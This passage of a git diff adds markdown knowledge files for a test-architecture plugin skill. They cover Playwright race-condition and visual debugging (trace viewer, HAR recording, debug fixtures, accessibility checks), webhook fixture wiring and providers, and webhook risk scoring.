+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
